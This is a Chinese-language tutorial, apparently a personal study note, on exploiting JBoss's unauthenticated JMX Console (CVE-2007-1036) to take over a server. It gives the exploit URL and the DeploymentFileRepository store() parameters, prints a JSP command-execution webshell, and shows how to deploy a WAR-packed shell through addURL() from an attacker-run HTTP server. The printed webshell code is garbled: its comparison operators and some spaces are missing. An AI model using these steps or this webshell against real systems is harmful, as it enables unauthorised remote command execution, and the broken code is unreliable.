目录
Jboss介绍
CVE-2007-1036
漏洞产生的原因
利用原理
访问页面
写入webshell
未授权访问后上传webshell
这一篇学习通过参考大佬的好文章学习Jboss的弱口令/未授权漏洞进入后台Getshell
Jboss介绍
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。
CVE-2007-1036
漏洞产生的原因
CVE-2007-1036即JMX Console HtmlAdaptor Getshell,因为JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能
利用原理
该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的,其中arg0传入的是部署的war包名字,arg1传入的是上传的文件的文件名,arg2传入的是上传文件的文件格式,arg3传入的是上传文件中的内容。
通过控制这四个参数即可上传shell,控制整台服务器,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=ll.jsp。
访问页面
直接访问如下url:
http://192.168.159.200:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository
可以看到直接访问成功了
也可以利用弱口令进入后台,如果需要口令验证,并且网站存在弱口令,我们就使用弱口令进入到对应的目录中实现同样的效果
写入webshell
进入页面后,找到如下位置:
这里的p1为部署包的名字,p2为脚本名字,p3为脚本后缀,p4为脚本内容即我们需要写入的shell
jsp木马:
<%@ page import="java.io.*" %> <% String cmd =request.getParameter("cmd"); String output = ""; if(cmd null) {String s = null; try { Process p =
Runtime.getRuntime().exec(cmd);BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream())); while((s = sI.readLine()) null) { output += s +"\r\n"; } } catch(IOException e) {e.printStackTrace(); } } out.println(output);%>
查看是否写入:
可以看到已经成功写入了,后面就可以使用webshell管理工具进行连接了
未授权访问后上传webshell
默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患
然后我们找到flavor
字符串,这一行就是jboss远程部署war包所在的位置
点进去之后找到addURL()这个位置
准备一个jsp木马,并且打包为war:
jar -cvf webshell.war webshell.jsp
使用python启动一个http服务
python -m http.server
访问一下能够访问到
再回到addURL()的地方,输入war文件的地址,然后点击inmoke部署
可以看到已经部署成功了
返回之后可以看到部署的物理位置
点击应用更改
访问一下可以访问到,证明已经上传成功
然后使用webshell管理工具连接即可
参考文章:
未授权访问:JBoss未授权访问漏洞-CSDN博客
干货|最全的Jboss漏洞复现笔记-腾讯云开发者社区-腾讯云 (tencent.com)